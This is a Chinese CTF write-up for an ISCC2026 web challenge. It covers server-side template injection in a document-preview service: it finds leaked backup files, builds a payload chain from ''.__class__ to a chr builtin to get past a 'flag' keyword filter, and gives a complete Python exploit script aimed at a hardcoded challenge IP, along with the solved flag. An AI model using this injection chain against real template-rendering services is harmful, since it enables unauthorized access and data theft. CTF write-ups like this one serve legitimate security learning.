Web-企业公文套红预览系统
ISCC2026 WriteUp 提交模板
Web-企业公文套红预览系统
解题思路
ctrl+u看下源码:

看到有一行注释:<!-- notes: index.php.bak, app.py.bak -->
简单试了几下发现访问路径是:
/backup/index.php.bak
/backup/app.py.bak
app.py.bak 中可以看到后端构造了一个 doc 字典:
def build_doc():
return {
'title': '关于进一步规范企业公文套红预览流程的通知',
'department': '企业信息化办公室',
'doc_no': '信办发〔2026〕12号',
'date': '2026-02-24',
'summary': '预览服务仅用于内部版式核对,正式发文前仍需复核内容与编号。',
'flag': '*+*+*+*'
}
# smoke test:
# assert doc.get('title') == '关于进一步规范企业公文套红预览流程的通知'
index.php.bak :
<?php
// legacy OA portal (retired)
$notice = "预览入口已迁移到 /preview";
$compat_note = "输入内容一定要按照模板来,有一套模板就足够了;如果字符显示出了问题,还是按老办法从空字符串对象''一路往上看,不要投机取巧跳过步骤,按最基本的来就行。";
echo $notice . "
";
echo $compat_note . "
";
?>
接着访问:/preview
看响应包:

python后端。
另外有:

有上面提示知道后台有个doc字典,所以构造payload:
{{doc.get('title')}}

尝试直接读取flag,发现被拦截了:

经过测试发现是关键词过滤了flag:

根据这个提示:
$compat_note = "输入内容一定要按照模板来,有一套模板就足够了;如果字符显示出了问题,还是按老办法从空字符串对象''一路往上看,不要投机取巧跳过步骤,按最基本的来就行。";
我们就尝试从空字符串对象开始构造payload

发现一个与其他结果不一样的类。
根据返回结果读取全局变量:
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

{'__builtins__': {'chr': <built-in function chr>}}
说明有一个chr函数,我们可以利用这个把ASCII转换为flag,进行绕过。

ISCC{enterprise_red_doc_preview}
Exp
import html
import re
import requests
PREVIEW_ENDPOINT = "http://39.105.213.28:49104/preview"
CHR_GADGET = (
"''.__class__.__base__.__subclasses__()[117]."
"__init__.__globals__['__builtins__']['chr']"
)
FLAG_NAME_CODES = (102, 108, 97, 103)
def build_template_payload() -> str:
flag_key_expr = "+".join(f"{CHR_GADGET}({code_point})" for code_point in FLAG_NAME_CODES)
return f"{{{{doc.get({flag_key_expr})}}}}"
def extract_preview_block(page_text: str) -> str:
pre_block_match = re.search(r"<pre>(.*?)</pre>", page_text, re.S)
if not pre_block_match:
raise ValueError("response does not contain a <pre> block")
return html.unescape(pre_block_match.group(1)).strip()
def request_preview(template_payload: str, timeout_seconds: int = 10) -> str:
response = requests.post(
PREVIEW_ENDPOINT,
data={"tpl": template_payload},
timeout=timeout_seconds,
)
response.raise_for_status()
return extract_preview_block(response.text)
def main() -> None:
template_payload = build_template_payload()
preview_result = request_preview(template_payload)
print(preview_result)
if __name__ == "__main__":
main()

浙公网安备 33010602011771号